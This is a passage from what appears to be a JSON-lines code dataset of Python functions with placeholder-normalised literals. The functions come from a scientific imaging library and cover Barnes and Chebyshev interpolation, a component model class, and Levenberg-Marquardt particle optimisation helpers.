(1983)", "id": "f5767:c0:m0"}
{"signature": "def _distance_matrix(self, a, b):", "body": "return (a[:, None] - b[None, :])**<NUM_LIT:2><EOL>", "docstring": "Pairwise distance between each point in `a` and each point in `b`", "id": "f5767:c0:m2"}
{"signature": "def _weight(self, rsq, sigma=None):", "body": "sigma = sigma or self.filter_size<EOL>if not self.clip:<EOL><INDENT>o = np.exp(-rsq / (<NUM_LIT:2>*sigma**<NUM_LIT:2>))<EOL><DEDENT>else:<EOL><INDENT>o = np.zeros(rsq.shape, dtype='<STR_LIT:float>')<EOL>m = (rsq < self.clipsize**<NUM_LIT:2>)<EOL>o[m] = np.exp(-rsq[m] / (<NUM_LIT:2>*sigma**<NUM_LIT:2>))<EOL><DEDENT>return o<EOL>", "docstring": "weighting function for Barnes", "id": "f5767:c0:m3"}
{"signature": "def __call__(self, rvecs):", "body": "if self.donorm:<EOL><INDENT>return self._newcall(rvecs)<EOL><DEDENT>else:<EOL><INDENT>return self._oldcall(rvecs)<EOL><DEDENT>", "docstring": "Get the values interpolated at positions rvecs", "id": "f5767:c0:m4"}
{"signature": "def _eval_firstorder(self, rvecs, data, sigma):", "body": "if not self.blocksize:<EOL><INDENT>dist_between_points = self._distance_matrix(rvecs, self.x)<EOL>gaussian_weights = self._weight(dist_between_points, sigma=sigma)<EOL>return gaussian_weights.dot(data) / gaussian_weights.sum(axis=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>ans = np.zeros(rvecs.shape[<NUM_LIT:0>], dtype='<STR_LIT:float>')<EOL>bs = self.blocksize<EOL>for a in range(<NUM_LIT:0>, rvecs.shape[<NUM_LIT:0>], bs):<EOL><INDENT>dist = self._distance_matrix(rvecs[a:a+bs], self.x)<EOL>weights = self._weight(dist, sigma=sigma)<EOL>ans[a:a+bs] += weights.dot(data) / weights.sum(axis=<NUM_LIT:1>)<EOL><DEDENT>return ans<EOL><DEDENT>", "docstring": "The first-order Barnes approximation", "id": "f5767:c0:m5"}
{"signature": "def _newcall(self, rvecs):", "body": "<EOL>sigma = <NUM_LIT:1>*self.filter_size<EOL>out = self._eval_firstorder(rvecs, self.d, sigma)<EOL>ondata = self._eval_firstorder(self.x, self.d, sigma)<EOL>for i in range(self.iterations):<EOL><INDENT>out += self._eval_firstorder(rvecs, self.d-ondata, sigma)<EOL>ondata += self._eval_firstorder(self.x, self.d-ondata, sigma)<EOL>sigma *= self.damp<EOL><DEDENT>return out<EOL>", "docstring": "Correct, normalized version of Barnes", "id": "f5767:c0:m6"}
{"signature": "def _oldcall(self, rvecs):", "body": "g = self.filter_size<EOL>dist0 = self._distance_matrix(self.x, self.x)<EOL>dist1 = self._distance_matrix(rvecs, self.x)<EOL>tmp = self._weight(dist0, g).dot(self.d)<EOL>out = self._weight(dist1, g).dot(self.d)<EOL>for i in range(self.iterations):<EOL><INDENT>out = out + self._weight(dist1, g).dot(self.d - tmp)<EOL>tmp = tmp + self._weight(dist0, g).dot(self.d - tmp)<EOL>g *= self.damp<EOL><DEDENT>return out<EOL>", "docstring": "Barnes w/o normalizing the weights", "id": "f5767:c0:m7"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(BarnesInterpolationND, self).__init__(*args, **kwargs)<EOL>", "docstring": "A class for barnes interpolation in N dimensions.\n\nParameters\n----------\nx : ndarray, 2-dimensional\n    input positions, x values for data points. x[i] is the ith position\n\nd : ndarray, 1-dimensional\n    input values, y values for data points. Same number of points as\n    x has positions.\n\nExamples\n--------\n>>> import numpy as np\n>>> np.random.seed(0)\n>>> x_known = np.random.randn(20, 2)\n>>> func = lambda x: np.exp(-(x[:, 0]**2 + x[:, 1]**2))\n>>> d_known = func(x_known)\n>>> barnes_nd = BarnesInterpolationND(x_known, d_known, iterations=35)\n>>> np.allclose(barnes_nd(x_known), func(x_known), atol=1e-2)\nTrue\n\nSee Also\n--------\nBarnesInterpolation1D", "id": "f5767:c1:m0"}
{"signature": "def _distance_matrix(self, a, b):", "body": "def sq(x): return (x * x)<EOL>matrix = sq(a[:, <NUM_LIT:0>][:, None] - b[:, <NUM_LIT:0>][None, :])<EOL>for x, y in zip(a.T[<NUM_LIT:1>:], b.T[<NUM_LIT:1>:]):<EOL><INDENT>matrix += sq(x[:, None] - y[None, :])<EOL><DEDENT>return matrix<EOL>", "docstring": "Pairwise distance between each point in `a` and each point in `b`", "id": "f5767:c1:m1"}
{"signature": "def __init__(self, func, args=(), window=(<NUM_LIT:0.>, <NUM_LIT:1.>), degree=<NUM_LIT:3>, evalpts=<NUM_LIT:4>):", "body": "self.args = args<EOL>self.func = func<EOL>self.window = window<EOL>self.set_order(evalpts, degree)<EOL>", "docstring": "A 1D Chebyshev approximation / interpolation for an ND function,\n        approximating (N-1)D in in the last dimension.\n\n        Parameters\n        ----------\n        func : callable\n            A function that takes scalar arguments (1D) and returns a N\n            dimensional array corresponding to that scalar. Make it such that,\n            for an array x, f(x)[.....,a] corresponds to f(x[a])\n\n        args : tuple [optional]\n            extra arguments to pass to func\n\n        window : tuple (length 2)\n            The bounds of the function over which we desire the interpolation\n\n        degree : integer\n            Degree of the Chebyshev interpolating polynomial\n\n        evalpts : integer\n            Number of Chebyshev points to evaluate the function at\n\n        Examples\n        --------\n        >>> import numpy as np\n        >>> func = lambda x: np.sin(x)\n        >>> cheb = ChebyshevInterpolation1D(func, window=(0, np.pi), degree=9,\n        >>>                                 evalpts=11)\n        >>> np.allclose(cheb(1.0), np.sin(1.0), atol=1e-7)\n        True", "id": "f5767:c2:m0"}
{"signature": "def _x2c(self, x):", "body": "return ((<NUM_LIT:2> * x - self.window[<NUM_LIT:1>] - self.window[<NUM_LIT:0>]) /<EOL>(self.window[<NUM_LIT:1>] - self.window[<NUM_LIT:0>]))<EOL>", "docstring": "Convert windowdow coordinates to cheb coordinates [-1,1]", "id": "f5767:c2:m1"}
{"signature": "def _c2x(self, c):", "body": "return <NUM_LIT:0.5> * (self.window[<NUM_LIT:0>] + self.window[<NUM_LIT:1>] +<EOL>c * (self.window[<NUM_LIT:1>] - self.window[<NUM_LIT:0>]))<EOL>", "docstring": "Convert cheb coordinates to windowdow coordinates", "id": "f5767:c2:m2"}
{"signature": "def _construct_coefficients(self):", "body": "coeffs = [<NUM_LIT:0>]*self.degree<EOL>N = float(self.evalpts)<EOL>lvals = np.arange(self.evalpts).astype('<STR_LIT:float>')<EOL>xpts = self._c2x(np.cos(np.pi*(lvals + <NUM_LIT:0.5>)/N))<EOL>fpts = np.rollaxis(self.func(xpts, *self.args), -<NUM_LIT:1>)<EOL>for a in range(self.degree):<EOL><INDENT>inner = [<EOL>fpts[b] * np.cos(np.pi*a*(lvals[b]+<NUM_LIT:0.5>)/N)<EOL>for b in range(self.evalpts)<EOL>]<EOL>coeffs[a] = <NUM_LIT>/N * np.sum(inner, axis=<NUM_LIT:0>)<EOL><DEDENT>coeffs[<NUM_LIT:0>] *= <NUM_LIT:0.5><EOL>self._coeffs = np.array(coeffs)<EOL>", "docstring": "Calculate the coefficients based on the func, degree, and\n        interpolating points.\n        _coeffs is a [order, N,M,....] array\n\n        Notes\n        -----\n        Moved the -c0 to the coefficients defintion\n        app -= 0.5 * self._coeffs[0] -- moving this to the coefficients", "id": "f5767:c2:m3"}
{"signature": "def tk(self, k, x):", "body": "weights = np.diag(np.ones(k+<NUM_LIT:1>))[k]<EOL>return np.polynomial.chebyshev.chebval(self._x2c(x), weights)<EOL>", "docstring": "Evaluates an individual Chebyshev polynomial `k` in coordinate space\nwith proper transformation given the window", "id": "f5767:c2:m6"}
{"signature": "def __call__(self, x):", "body": "return np.polynomial.chebyshev.chebval(<EOL>self._x2c(x), self._coeffs, tensor=True)<EOL>", "docstring": "Approximates `func` at the coordinates x, which must be in the window.\n\n.. math::\n    f(x) = \\sum_{k=0}^{N-1} c_k T_k(x) - co/2\n\nOutput is in the format [A,...,x]", "id": "f5767:c2:m7"}
{"signature": "def __init__(self, modelstr, varmap, registry={}):", "body": "self.modelstr = modelstr<EOL>self.varmap = varmap<EOL>self.registry = registry<EOL>self.ivarmap = {v:k for k, v in iteritems(self.varmap)}<EOL>self.check_consistency()<EOL>", "docstring": "An abstraction for defining how to combine components into a complete\nmodel as well as derivatives with respect to different variables.\n\nParameters\n-----------\nmodelstr : dict of strings\n    (Using a custom model) The actual equations used to defined the model.\n    At least one eq. is required under the key `full`. Other partial\n    update equations can be added where the variable name (e.g. 'dI')\n    denotes a partial update of I, for example::\n\n        {'full': 'H(P)', 'dP': 'H(dP)'}\n\nvarmap : dict\n    (Using a custom model) The mapping of variables in the modelstr\n    equations to actual component types. For example::\n\n        {'P': 'obj', 'H': 'psf'}\n\nregistry : dict\n    A mapping of categories to components which this model will\n    accept. For example::\n\n        {\n            'obj': [objs.PlatonicSpheresCollection],\n            'psf': [psfs.Gaussian4DPoly, psfs.GaussianMomentExpansion]\n        }", "id": "f5772:c1:m0"}
{"signature": "def check_consistency(self):", "body": "error = False<EOL>regex = re.compile('<STR_LIT>')<EOL>if '<STR_LIT>' not in self.modelstr:<EOL><INDENT>raise ModelError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>for name, eq in iteritems(self.modelstr):<EOL><INDENT>var = regex.findall(eq)<EOL>for v in var:<EOL><INDENT>v = re.sub(r\"<STR_LIT>\", '<STR_LIT>', v)<EOL>if v not in self.varmap:<EOL><INDENT>log.error(<EOL>\"<STR_LIT>\" %<EOL>(v, name, eq, self.varmap)<EOL>)<EOL>error = True<EOL><DEDENT><DEDENT><DEDENT>if error:<EOL><INDENT>raise ModelError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Make sure that the required comps are included in the list of\ncomponents supplied by the user. Also check that the parameters are\nconsistent across the many components.", "id": "f5772:c1:m1"}
{"signature": "def check_inputs(self, comps):", "body": "error = False<EOL>compcats = [c.category for c in comps]<EOL>for k, v in iteritems(self.varmap):<EOL><INDENT>if k not in self.modelstr['<STR_LIT>']:<EOL><INDENT>log.warn('<STR_LIT>' % (k,v))<EOL><DEDENT>if v not in compcats:<EOL><INDENT>log.error('<STR_LIT>' % (k,v))<EOL>error = True<EOL><DEDENT><DEDENT>if error:<EOL><INDENT>raise ModelError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Check that the list of components `comp` is compatible with both the\nvarmap and modelstr for this Model", "id": "f5772:c1:m2"}
{"signature": "def diffname(self, name):", "body": "return '<STR_LIT:d>'+name<EOL>", "docstring": "Transform a variable name into a derivative", "id": "f5772:c1:m3"}
{"signature": "def get_base_model(self):", "body": "return self.modelstr['<STR_LIT>']<EOL>", "docstring": "The complete model, no derivatives", "id": "f5772:c1:m4"}
{"signature": "def get_difference_model(self, category):", "body": "name = self.diffname(self.ivarmap[category])<EOL>return self.modelstr.get(name)<EOL>", "docstring": "Get the equation corresponding to a variation wrt category. For example\nif::\n\n    modelstr = {\n        'full' :'H(I) + B',\n        'dH' : 'dH(I)',\n        'dI' : 'H(dI)',\n        'dB' : 'dB'\n    }\n\n    varmap = {'H': 'psf', 'I': 'obj', 'B': 'bkg'}\n\nthen ``get_difference_model('obj') == modelstr['dI'] == 'H(dI)'``", "id": "f5772:c1:m5"}
{"signature": "def map_vars(self, comps, funcname='<STR_LIT>', diffmap=None, **kwargs):", "body": "out = {}<EOL>diffmap = diffmap or {}<EOL>for c in comps:<EOL><INDENT>cat = c.category<EOL>if cat in diffmap:<EOL><INDENT>symbol = self.diffname(self.ivarmap[cat])<EOL>out[symbol] = diffmap[cat]<EOL><DEDENT>else:<EOL><INDENT>symbol = self.ivarmap[cat]<EOL>out[symbol] = getattr(c, funcname)(**kwargs)<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "Map component function ``funcname`` result into model variables\ndictionary for use in eval of the model. If ``diffmap`` is provided then\nthat symbol is translated into 'd'+diffmap.key and is replaced by\ndiffmap.value. ``**kwargs` are passed to the ``comp.funcname(**kwargs)``.", "id": "f5772:c1:m6"}
{"signature": "def evaluate(self, comps, funcname='<STR_LIT>', diffmap=None, **kwargs):", "body": "evar = self.map_vars(comps, funcname, diffmap=diffmap)<EOL>if diffmap is None:<EOL><INDENT>return eval(self.get_base_model(), evar)<EOL><DEDENT>else:<EOL><INDENT>compname = list(diffmap.keys())[<NUM_LIT:0>]<EOL>return eval(self.get_difference_model(compname), evar)<EOL><DEDENT>", "docstring": "Calculate the output of a model. It is recommended that at some point\nbefore using `evaluate`, that you make sure the inputs are valid using\n:class:`~peri.models.Model.check_inputs`\n\nParameters\n-----------\ncomps : list of :class:`~peri.comp.comp.Component`\n    Components which will be used to evaluate the model\n\nfuncname : string (default: 'get')\n    Name of the function which to evaluate for the components which\n    represent their output. That is, when each component is used in the\n    evaluation, it is really their ``attr(comp, funcname)`` which is used.\n\ndiffmap : dictionary\n    Extra mapping of derivatives or other symbols to extra variables.\n    For example, the difference in a component has been evaluated as\n    diff_obj so we set ``{'I': diff_obj}``\n\n``**kwargs``:\n    Arguments passed to ``funcname`` of component objects", "id": "f5772:c1:m7"}
{"signature": "def __init__(self):", "body": "varmap = {<EOL>'<STR_LIT:B>': '<STR_LIT>', '<STR_LIT:I>': '<STR_LIT>', '<STR_LIT:H>': '<STR_LIT>', '<STR_LIT:P>': '<STR_LIT>', '<STR_LIT:C>': '<STR_LIT>'<EOL>}<EOL>modelstr = {<EOL>'<STR_LIT>' : '<STR_LIT>',<EOL>'<STR_LIT>' : '<STR_LIT>',<EOL>'<STR_LIT>' : '<STR_LIT>',<EOL>'<STR_LIT>' : '<STR_LIT>',<EOL>'<STR_LIT>' : '<STR_LIT>',<EOL>}<EOL>registry = {<EOL>'<STR_LIT>': allfields,<EOL>'<STR_LIT>': allfields,<EOL>'<STR_LIT>': allpsfs,<EOL>'<STR_LIT>': allobjs,<EOL>'<STR_LIT>': {'<STR_LIT>': GlobalScalar}<EOL>}<EOL>Model.__init__(self, modelstr=modelstr, varmap=varmap, registry=registry)<EOL>", "docstring": "Confocal microscope image with simplifications made for performance.\nIn particular, the sensing and illumination point spread functions\nare combined into one:\n\n.. math::\n    \\\\mathcal{M} = H(I(1-P) + CP) + B", "id": "f5772:c2:m0"}
{"signature": "def get_rand_Japprox(s, params, num_inds=<NUM_LIT:1000>, include_cost=False, **kwargs):", "body": "start_time = time.time()<EOL>tot_pix = s.residuals.size<EOL>if num_inds < tot_pix:<EOL><INDENT>inds = np.random.choice(tot_pix, size=num_inds, replace=False)<EOL>slicer = None<EOL>return_inds = np.sort(inds)<EOL><DEDENT>else:<EOL><INDENT>inds = None<EOL>return_inds = slice(<NUM_LIT:0>, None)<EOL>slicer = [slice(<NUM_LIT:0>, None)]*len(s.residuals.shape)<EOL><DEDENT>if include_cost:<EOL><INDENT>Jact, ge = s.gradmodel_e(params=params, inds=inds, slicer=slicer,flat=False,<EOL>**kwargs)<EOL>Jact *= -<NUM_LIT:1><EOL>J = [Jact, ge]<EOL><DEDENT>else:<EOL><INDENT>J = -s.gradmodel(params=params, inds=inds, slicer=slicer, flat=False,<EOL>**kwargs)<EOL><DEDENT>CLOG.debug('<STR_LIT>' % (time.time()-start_time))<EOL>return J, return_inds<EOL>", "docstring": "Calculates a random approximation to J by returning J only at a\nset of random pixel/voxel locations.\n\nParameters\n----------\n    s : :class:`peri.states.State`\n        The state to calculate J for.\n    params : List\n        The list of parameter names to calculate the gradient of.\n    num_inds : Int, optional.\n        The number of pix/voxels at which to calculate the random\n        approximation to J. Default is 1000.\n    include_cost : Bool, optional\n        Set to True to append a finite-difference measure of the full\n        cost gradient onto the returned J.\n\nOther Parameters\n----------------\n    All kwargs parameters get passed to s.gradmodel only.\n\nReturns\n-------\n    J : numpy.ndarray\n        [d, num_inds] array of J, at the given indices.\n\n    return_inds : numpy.ndarray or slice\n        [num_inds] element array or slice(0, None) of the model\n        indices at which J was evaluated.", "id": "f5773:m0"}
{"signature": "def name_globals(s, remove_params=None):", "body": "all_params = s.params<EOL>for p in s.param_particle(np.arange(s.obj_get_positions().shape[<NUM_LIT:0>])):<EOL><INDENT>all_params.remove(p)<EOL><DEDENT>if remove_params is not None:<EOL><INDENT>for p in set(remove_params):<EOL><INDENT>all_params.remove(p)<EOL><DEDENT><DEDENT>return all_params<EOL>", "docstring": "Returns a list of the global parameter names.\n\nParameters\n----------\n    s : :class:`peri.states.ImageState`\n        The state to name the globals of.\n    remove_params : Set or None\n        A set of unique additional parameters to remove from the globals\n        list.\n\nReturns\n-------\n    all_params : list\n        The list of the global parameter names, with each of\n        remove_params removed.", "id": "f5773:m1"}
{"signature": "def get_num_px_jtj(s, nparams, decimate=<NUM_LIT:1>, max_mem=<NUM_LIT>, min_redundant=<NUM_LIT:20>):", "body": "<EOL>px_mem = int(max_mem // <NUM_LIT:8> // nparams) <EOL>px_red = min_redundant*nparams<EOL>px_dec = s.residuals.size//decimate<EOL>if px_red > px_mem:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>num_px = np.clip(px_dec, px_red, px_mem).astype('<STR_LIT:int>')<EOL>return num_px<EOL>", "docstring": "Calculates the number of pixels to use for J at a given memory usage.\n\nTries to pick a number of pixels as (size of image / `decimate`).\nHowever, clips this to a maximum size and minimum size to ensure that\n(1) too much memory isn't used and (2) J has enough elements so that\nthe inverse of JTJ will be well-conditioned.\n\nParameters\n----------\n    s : :class:`peri.states.State`\n        The state on which to calculate J.\n    nparams : Int\n        The number of parameters that will be included in J.\n    decimate : Int, optional\n        The amount to decimate the number of pixels in the image by,\n        i.e. tries to pick num_px = size of image / decimate.\n        Default is 1\n    max_mem : Numeric, optional\n        The maximum allowed memory, in bytes, for J to occupy at\n        double-precision. Default is 1e9.\n    min_redundant : Int, optional\n        The number of pixels must be at least `min_redundant` *\n        `nparams`. If not, an error is raised. Default is 20\n\nReturns\n-------\n    num_px : Int\n        The number of pixels at which to calcualte J.", "id": "f5773:m2"}
{"signature": "def vectorize_damping(params, damping=<NUM_LIT:1.0>, increase_list=[['<STR_LIT>', <NUM_LIT>]]):", "body": "damp_vec = np.ones(len(params)) * damping<EOL>for nm, fctr in increase_list:<EOL><INDENT>for a in range(damp_vec.size):<EOL><INDENT>if nm in params[a]:<EOL><INDENT>damp_vec[a] *= fctr<EOL><DEDENT><DEDENT><DEDENT>return damp_vec<EOL>", "docstring": "Returns a non-constant damping vector, allowing certain parameters to be\nmore strongly damped than others.\n\nParameters\n----------\n    params : List\n        The list of parameter names, in order.\n    damping : Float\n        The default value of the damping.\n    increase_list: List\n        A nested 2-element list of the params to increase and their\n        scale factors. All parameters containing the string\n        increase_list[i][0] are increased by a factor increase_list[i][1].\nReturns\n-------\n    damp_vec : np.ndarray\n        The damping vector to use.", "id": "f5773:m3"}
{"signature": "def low_mem_sq(m, step=<NUM_LIT>):", "body": "if not m.flags.c_contiguous:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>mmt = np.zeros([m.shape[<NUM_LIT:0>], m.shape[<NUM_LIT:0>]])  <EOL>for a in range(<NUM_LIT:0>, m.shape[<NUM_LIT:0>], step):<EOL><INDENT>mx = min(a+step, m.shape[<NUM_LIT:1>])<EOL>mmt[:, a:mx] = np.dot(m, m[a:mx].T)<EOL><DEDENT>return mmt<EOL>", "docstring": "np.dot(m, m.T) with low mem usage, by doing it in small steps", "id": "f5773:m4"}
{"signature": "def find_particles_in_tile(positions, tile):", "body": "bools = tile.contains(positions)<EOL>return np.arange(bools.size)[bools]<EOL>", "docstring": "Finds the particles in a tile, as numpy.ndarray of ints.\n\nParameters\n----------\n    positions : `numpy.ndarray`\n        [N,3] array of the particle positions to check in the tile\n    tile : :class:`peri.util.Tile` instance\n        Tile of the region inside which to check for particles.\n\nReturns\n-------\n    numpy.ndarray, int\n        The indices of the particles in the tile.", "id": "f5773:m5"}
{"signature": "def separate_particles_into_groups(s, region_size=<NUM_LIT>, bounds=None,<EOL>doshift=False):", "body": "imtile = s.oshape.translate(-s.pad)<EOL>bounding_tile = (imtile if bounds is None else Tile(bounds[<NUM_LIT:0>], bounds[<NUM_LIT:1>]))<EOL>rs = (np.ones(bounding_tile.dim, dtype='<STR_LIT:int>')*region_size if<EOL>np.size(region_size) == <NUM_LIT:1> else np.array(region_size))<EOL>n_translate = np.ceil(bounding_tile.shape.astype('<STR_LIT:float>')/rs).astype('<STR_LIT:int>')<EOL>particle_groups = []<EOL>tile = Tile(left=bounding_tile.l, right=bounding_tile.l + rs)<EOL>if doshift == '<STR_LIT>':<EOL><INDENT>doshift = np.random.choice([True, False])<EOL><DEDENT>if doshift:<EOL><INDENT>shift = rs // <NUM_LIT:2><EOL>n_translate += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>shift = <NUM_LIT:0><EOL><DEDENT>deltas = np.meshgrid(*[np.arange(i) for i in n_translate])<EOL>positions = s.obj_get_positions()<EOL>if bounds is None:<EOL><INDENT>positions = np.clip(positions, imtile.l+<NUM_LIT>, imtile.r-<NUM_LIT>)<EOL><DEDENT>groups = list(map(lambda *args: find_particles_in_tile(positions,<EOL>tile.translate( np.array(args) * rs - shift)), *[d.ravel()<EOL>for d in deltas]))<EOL>for i in range(len(groups)-<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>if groups[i].size == <NUM_LIT:0>:<EOL><INDENT>groups.pop(i)<EOL><DEDENT><DEDENT>assert _check_groups(s, groups)<EOL>return groups<EOL>", "docstring": "Separates particles into convenient groups for optimization.\n\nGiven a state, returns a list of groups of particles. Each group of\nparticles are located near each other in the image. Every particle\nlocated in the desired region is contained in exactly 1 group.\n\nParameters\n----------\ns : :class:`peri.states.ImageState`\n    The peri state to find particles in.\nregion_size : Int or 3-element list-like of ints, optional\n    The size of the box. Groups particles into boxes of shape\n    (region_size[0], region_size[1], region_size[2]). If region_size\n    is a scalar, the box is a cube of length region_size.\n    Default is 40.\nbounds : 2-element list-like of 3-element lists, optional\n    The sub-region of the image over which to look for particles.\n        bounds[0]: The lower-left  corner of the image region.\n        bounds[1]: The upper-right corner of the image region.\n    Default (None -> ([0,0,0], s.oshape.shape)) is a box of the entire\n    image size, i.e. the default places every particle in the image\n    somewhere in the groups.\ndoshift : {True, False, `'rand'`}, optional\n    Whether or not to shift the tile boxes by half a region size, to\n    prevent the same particles to be chosen every time. If `'rand'`,\n    randomly chooses either True or False. Default is False\n\nReturns\n-------\nparticle_groups : List\n    Each element of particle_groups is an int numpy.ndarray of the\n    group of nearby particles. Only contains groups with a nonzero\n    number of particles, so the elements don't necessarily correspond\n    to a given image region.", "id": "f5773:m6"}
{"signature": "def _check_groups(s, groups):", "body": "ans = []<EOL>for g in groups:<EOL><INDENT>ans.extend(g)<EOL><DEDENT>if np.unique(ans).size != np.size(ans):<EOL><INDENT>return False<EOL><DEDENT>elif np.unique(ans).size != s.obj_get_positions().shape[<NUM_LIT:0>]:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return (np.arange(s.obj_get_radii().size) == np.sort(ans)).all()<EOL><DEDENT>", "docstring": "Ensures that all particles are included in exactly 1 group", "id": "f5773:m7"}
{"signature": "def calc_particle_group_region_size(s, region_size=<NUM_LIT>, max_mem=<NUM_LIT>, **kwargs):", "body": "region_size = np.array(region_size).astype('<STR_LIT:int>')<EOL>def calc_mem_usage(region_size):<EOL><INDENT>rs = np.array(region_size)<EOL>particle_groups = separate_particles_into_groups(s, region_size=<EOL>rs.tolist(), **kwargs)<EOL>numpart = [np.size(g) for g in particle_groups]<EOL>biggroups = [particle_groups[i] for i in np.argsort(numpart)[-<NUM_LIT:5>:]]<EOL>def get_tile_jsize(group):<EOL><INDENT>nms = s.param_particle(group)<EOL>tile = s.get_update_io_tiles(nms, s.get_values(nms))[<NUM_LIT:2>]<EOL>return tile.shape.prod() * len(nms)<EOL><DEDENT>mems = [<NUM_LIT:8>*get_tile_jsize(g) for g in biggroups]  <EOL>return np.max(mems)<EOL><DEDENT>im_shape = s.oshape.shape<EOL>if calc_mem_usage(region_size) > max_mem:<EOL><INDENT>while ((calc_mem_usage(region_size) > max_mem) and<EOL>np.any(region_size > <NUM_LIT:2>)):<EOL><INDENT>region_size = np.clip(region_size-<NUM_LIT:1>, <NUM_LIT:2>, im_shape)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>while ((calc_mem_usage(region_size) < max_mem) and<EOL>np.any(region_size < im_shape)):<EOL><INDENT>region_size = np.clip(region_size+<NUM_LIT:1>, <NUM_LIT:2>, im_shape)<EOL><DEDENT>region_size -= <NUM_LIT:1> <EOL><DEDENT>return region_size<EOL>", "docstring": "Finds the biggest region size for LM particle optimization with a\ngiven memory constraint.\n\nInput Parameters\n----------------\n    s : :class:`peri.states.ImageState`\n        The state with the particles\n    region_size : Int or 3-element list-like of ints, optional.\n        The initial guess for the region size. Default is 40\n    max_mem : Numeric, optional\n        The maximum memory for the optimizer to take. Default is 1e9\n\nOther Parameters\n----------------\n    bounds: 2-element list-like of 3-element lists.\n        The sub-region of the image over which to look for particles.\n            bounds[0]: The lower-left  corner of the image region.\n            bounds[1]: The upper-right corner of the image region.\n        Default (None -> ([0,0,0], s.oshape.shape)) is a box of the entire\n        image size, i.e. the default places every particle in the image\n        somewhere in the groups.\nReturns\n-------\n    region_size : numpy.ndarray of ints of the region size.", "id": "f5773:m8"}
{"signature": "def get_residuals_update_tile(st, padded_tile):", "body": "inner_tile = st.ishape.intersection([st.ishape, padded_tile])<EOL>return inner_tile.translate(-st.pad)<EOL>", "docstring": "Translates a tile in the padded image to the unpadded image.\n\nGiven a state and a tile that corresponds to the padded image, returns\na tile that corresponds to the the corresponding pixels of the difference\nimage\n\nParameters\n----------\n    st : :class:`peri.states.State`\n        The state\n    padded_tile : :class:`peri.util.Tile`\n        The tile in the padded image.\n\nReturns\n-------\n    :class:`peri.util.Tile`\n        The tile corresponding to padded_tile in the unpadded image.", "id": "f5773:m9"}
{"signature": "def find_best_step(err_vals):", "body": "if np.all(np.isnan(err_vals)):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return np.nanargmin(err_vals)<EOL>", "docstring": "Returns the index of the lowest of the passed values. Catches nans etc.", "id": "f5773:m10"}
{"signature": "def do_levmarq(s, param_names, damping=<NUM_LIT:0.1>, decrease_damp_factor=<NUM_LIT>,<EOL>run_length=<NUM_LIT:6>, eig_update=True, collect_stats=False, rz_order=<NUM_LIT:0>,<EOL>run_type=<NUM_LIT:2>, **kwargs):", "body": "if rz_order > <NUM_LIT:0>:<EOL><INDENT>aug = AugmentedState(s, param_names, rz_order=rz_order)<EOL>lm = LMAugmentedState(aug, damping=damping, run_length=run_length,<EOL>decrease_damp_factor=decrease_damp_factor, eig_update=<EOL>eig_update, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>lm = LMGlobals(s, param_names, damping=damping, run_length=run_length,<EOL>decrease_damp_factor=decrease_damp_factor, eig_update=<EOL>eig_update, **kwargs)<EOL><DEDENT>if run_type == <NUM_LIT:2>:<EOL><INDENT>lm.do_run_2()<EOL><DEDENT>elif run_type == <NUM_LIT:1>:<EOL><INDENT>lm.do_run_1()<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if collect_stats:<EOL><INDENT>return lm.get_termination_stats()<EOL><DEDENT>", "docstring": "Runs Levenberg-Marquardt optimization on a state.\n\nConvenience wrapper for LMGlobals. Same keyword args, but the defaults\nhave been set to useful values for optimizing globals.\nSee LMGlobals and LMEngine for documentation.\n\nSee Also\n--------\n    do_levmarq_particles : Levenberg-Marquardt optimization of a\n        specified set of particles.\n\n    do_levmarq_all_particle_groups : Levenberg-Marquardt optimization\n        of all the particles in the state.\n\n    LMGlobals : Optimizer object; the workhorse of do_levmarq.\n\n    LMEngine : Engine superclass for all the optimizers.", "id": "f5773:m11"}
{"signature": "def do_levmarq_particles(s, particles, damping=<NUM_LIT:1.0>, decrease_damp_factor=<NUM_LIT>,<EOL>run_length=<NUM_LIT:4>, collect_stats=False, max_iter=<NUM_LIT:2>, **kwargs):", "body": "lp = LMParticles(s, particles, damping=damping, run_length=run_length,<EOL>decrease_damp_factor=decrease_damp_factor, max_iter=max_iter,<EOL>**kwargs)<EOL>lp.do_run_2()<EOL>if collect_stats:<EOL><INDENT>return lp.get_termination_stats()<EOL><DEDENT>", "docstring": "Levenberg-Marquardt optimization on a set of particles.\n\nConvenience wrapper for LMParticles. Same keyword args, but the\ndefaults have been set to useful values for optimizing particles.\nSee LMParticles and LMEngine for documentation.\n\nSee Also\n--------\n    do_levmarq_all_particle_groups : Levenberg-Marquardt optimization\n        of all the particles in the state.\n\n    do_levmarq : Levenberg-Marquardt optimization of the entire state;\n        useful for optimizing global parameters.\n\n    LMParticles : Optimizer object; the workhorse of do_levmarq_particles.\n\n    LMEngine : Engine superclass for all the optimizers.", "id": "f5773:m12"}
{"signature": "def do_levmarq_all_particle_groups(s, region_size=<NUM_LIT>, max_iter=<NUM_LIT:2>, damping=<NUM_LIT:1.0>,<EOL>decrease_damp_factor=<NUM_LIT>, run_length=<NUM_LIT:4>, collect_stats=False, **kwargs):", "body": "lp = LMParticleGroupCollection(s, region_size=region_size, damping=damping,<EOL>run_length=run_length, decrease_damp_factor=decrease_damp_factor,<EOL>get_cos=collect_stats, max_iter=max_iter, **kwargs)<EOL>lp.do_run_2()<EOL>if collect_stats:<EOL><INDENT>return lp.stats<EOL><DEDENT>", "docstring": "Levenberg-Marquardt optimization for every particle in the state.\n\nConvenience wrapper for LMParticleGroupCollection. Same keyword args,\nbut I've set the defaults to what I've found to be useful values for\noptimizing particles. See LMParticleGroupCollection for documentation.\n\nSee Also\n--------\n    do_levmarq_particles : Levenberg-Marquardt optimization of a\n        specified set of particles.\n\n    do_levmarq : Levenberg-Marquardt optimization of the 